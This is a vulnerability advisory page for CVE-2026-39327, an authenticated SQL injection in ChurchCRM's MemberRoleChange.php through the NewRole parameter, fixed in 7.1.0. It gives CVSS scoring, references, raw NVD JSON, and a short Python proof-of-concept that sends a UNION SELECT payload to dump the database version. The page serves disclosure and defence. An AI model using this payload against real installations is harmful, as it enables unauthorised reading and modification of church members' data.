CVE-2026-39327

Description

ChurchCRM is an open-source church management system. Prior to 7.1.0, an SQL injection vulnerability was found in the endpoint /MemberRoleChange.php in ChurchCRM 7.0.5. Authenticated users with the role Manage Groups & Roles (ManageGroups) can inject arbitrary SQL statements through the NewRole parameter and thus extract and modify information from the database. This vulnerability is fixed in 7.1.0.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:* - VULNERABLE

ChurchCRM < 7.1.0

ChurchCRM 7.0.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL
url = "http://target-churchcrm.com/MemberRoleChange.php"

# Attacker's session cookie (Authenticated user with Manage Groups & Roles role)
cookies = {
    "PHPSESSID": "attacker_session_id_here"
}

# Payload to extract database version (Example)
payload = {
    "NewRole": "1' UNION SELECT 1, version(), 3, 4, 5, 6, 7, 8, 9-- -",
    "PersonID": "1",
    "GroupID": "1"
}

try:
    response = requests.post(url, data=payload, cookies=cookies)
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print("[+] Check response for SQL output:")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39327
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39327
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39327/
[4] VulDB https://vuldb.com/cve/CVE-2026-39327
[5] https://github.com/ChurchCRM/CRM/security/advisories/GHSA-66fc-v5xj-x859

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39327", "sourceIdentifier": "[email protected]", "published": "2026-04-07T18:16:43.883", "lastModified": "2026-04-10T20:56:43.233", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChurchCRM is an open-source church management system. Prior to 7.1.0, an SQL injection vulnerability was found in the endpoint /MemberRoleChange.php in ChurchCRM 7.0.5. Authenticated users with the role Manage Groups & Roles (ManageGroups) can inject arbitrary SQL statements through the NewRole parameter and thus extract and modify information from the database. This vulnerability is fixed in 7.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.1.0", "matchCriteriaId": "BF846F61-0C1E-49AB-B691-A01937A6C24D"}]}]}], "references": [{"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-66fc-v5xj-x859", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}